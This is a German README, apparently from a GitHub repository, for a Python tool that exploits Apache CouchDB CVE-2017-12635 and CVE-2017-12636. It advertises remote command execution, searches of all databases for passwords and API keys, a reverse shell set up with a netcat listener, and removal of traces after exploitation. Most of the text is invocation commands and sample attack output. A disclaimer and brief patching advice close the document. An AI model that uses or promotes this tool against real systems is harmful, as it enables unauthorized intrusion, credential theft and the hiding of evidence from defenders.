
Exploitiert CouchDB CVE-2017-12635/12636 für Privilege Escalation und RCE und bietet anschließend eine interaktive Shell mit Befehlsausführung, Datenbank-Browsing und Reverse Shell.
Dieses Tool nutzt zwei kritische Schwachstellen in Apache CouchDB aus:
| CVE | Beschreibung | Schweregrad |
|---|---|---|
| CVE-2017-12635 | Privilegieneskalation durch JSON-Parsing-Bypass | 🔴 Kritisch |
| CVE-2017-12636 | Remote Code Execution über Query Server | 🔴 Kritisch |
| Version | Anfällig | Behobene Version |
|---|---|---|
| Apache CouchDB < 1.7.0 | ✅ Ja | 1.7.0 |
| Apache CouchDB 1.x.x | ✅ Ja | 1.7.0 |
| Apache CouchDB 2.0.0 | ✅ Ja | 2.1.1 |
| Apache CouchDB 2.1.0 | ✅ Ja | 2.1.1 |
| Apache CouchDB ≥ 2.1.1 | ❌ Nein | - |
curl http://target:5984/
✨ Funktionen
✅ Automatische Ausnutzung - Ein Befehl, um alles zu beherrschen
✅ Interaktive Shell - Benutzerfreundliche Befehlsschnittstelle
✅ Datenbank-Viewer - Durchsuchen aller Datenbanken und Dokumente
✅ Vollständige JSON-Anzeige - Vollständigen Dokumentinhalt anzeigen
✅ Globale Suche - Suche nach Schlüsselwörtern in allen Datenbanken
✅ Systembefehle - Ausführen beliebiger Befehle auf dem Ziel
✅ Reverse Shell - Eine vollständig interaktive Shell erhalten
✅ Befehlsverlauf - Behalten Sie den Überblick über Ihre Aktionen
✅ Automatische Bereinigung - Spuren nach der Ausnutzung entfernen
✅ Farbige Ausgabe - Einfach zu lesen und zu verstehen
📦 Installation Voraussetzungen bash
python3 --version
Klonen & Installieren bash
git clone https://github.com/darabium/couchdb-exploit.git
cd couchdb-exploit
python3 -m venv myenv
source myenv/bin/activate
pip install -r requirements.txt
Anforderungen txt
requests>=2.25.0 urllib3>=1.26.0
🚀 Verwendung Grundlegende Verwendung bash
python3 couchdb-exploit.py -t <TARGET_IP> -p <PORT>
python3 couchdb-exploit.py -t 192.168.1.100 -p 5984
Befehlszeilenoptionen bash
python3 couchdb-exploit.py -h
usage: couchdb-exploit.py [-h] -t TARGET [-p PORT]
arguments:
-h, --help show this help message and exit
-t TARGET, --target TARGET
Target IP address or hostname
-p PORT, --port PORT Target port (default: 5984)
💻 Befehle
Sobald das System ausgenutzt wurde, verfügen Sie über eine interaktive Shell: Befehl Beschreibung Beispiel db Alle Datenbanken mit Dokumentanzahl anzeigen db view ALLE Dokumente in einer Datenbank anzeigen (vollständiges JSON) view passwords raw Rohe Serverantwort anzeigen raw admin count Dokumente in einer Datenbank zählen count users search Nach einem Schlüsselwort in ALLEN Datenbanken suchen search admin exec Einen Systembefehl ausführen exec whoami reverse Reverse Shell einrichten reverse 10.0.0.1 4444 history Befehlsverlauf anzeigen history help Dieses Menü anzeigen help exit Mit Bereinigung beenden exit 📊 Beispiele
couchdb> db
[+] 39 databases:
_replicator (0 docs)
_users (12 docs)
admin (5 docs)
passwords (25 docs)
core-configuration (8 docs) ...
Datenbankinhalt anzeigen bash
couchdb> view passwords
[*] Total documents: 25
couchdb> search password
✅ Found in 'passwords' ID: user1 Content: { "username": "root", "password": "rootpass123" }
✅ Found in 'config' ID: app_settings Content: { "db_password": "secret123", "api_key": "sk_live_abc123" }
couchdb> exec whoami [+] Executing: whoami [+] Command executed!
couchdb> exec id [+] Executing: id [+] Command executed!
nc -lvnp 4444
couchdb> reverse 10.0.0.1 4444 [+] Reverse Shell zu 10.0.0.1:4444 wird eingerichtet [!] Stelle sicher, dass der Listener läuft: nc -lvnp 4444 [?] Fortfahren? (j/n): j [+] Reverse Shell ausgelöst!
🖼️ Screenshots Exploit in Aktion
https://via.placeholder.com/800x400?text=Exploit+Demo+Screenshot Datenbankansicht
https://via.placeholder.com/800x400?text=Database+View Reverse Shell
https://via.placeholder.com/800x400?text=Reverse+Shell ⚠️ Haftungsausschluss
WICHTIG: Dieses Tool dient ausschließlich Bildungs- und autorisierten Testzwecken.
🚫 NICHT auf Systemen ohne ausdrückliche Genehmigung verwenden
🚫 Der Autor ist nicht für jeglichen Missbrauch verantwortlich
🚫 Nur in kontrollierten Umgebungen oder auf eigenen Systemen verwenden
✅ Vor dem Testen stets eine schriftliche Genehmigung einholen
✅ Verantwortungsvolle Offenlegungspraktiken befolgen
Durch die Verwendung dieses Tools stimmst du diesen Bedingungen zu. 🔐 Sicherheitstipps
Wenn du Systemadministrator bist:
Sofort auf CouchDB ≥ 1.7.0 oder ≥ 2.1.1 aktualisieren
Firewall verwenden, um den Zugriff auf Port 5984 einzuschränken
Authentifizierung aktivieren und starke Passwörter verwenden
Protokolle auf verdächtige Aktivitäten überwachen
Regelmäßige Sicherheitsaudits deiner Infrastruktur
Schnelllösung bash
sudo apt-get update sudo apt-get install couchdb=2.1.1 # Oder neueste Version
sudo ufw allow from 192.168.1.0/24 to any port 5984
📚 Referenzen
CVE-2017-12635 - NVD
CVE-2017-12636 - NVD
Apache CouchDB Sicherheit
Exploit-DB
👤 Autor
darabium
GitHub: @darabium
Telegram: @darabium
⭐ Unterstützung
Wenn du das nützlich findest:
⭐ Gib dem Repository einen Stern
🐛 Melde Probleme
🔧 Trage Verbesserungen bei
📢 Teile es mit anderen
📄 Lizenz
Dieses Projekt ist unter der MIT-Lizenz lizenziert – siehe die LICENSE-Datei für Details.
Mit ❤️ für Sicherheitsforschung erstellt
⬆ Nach oben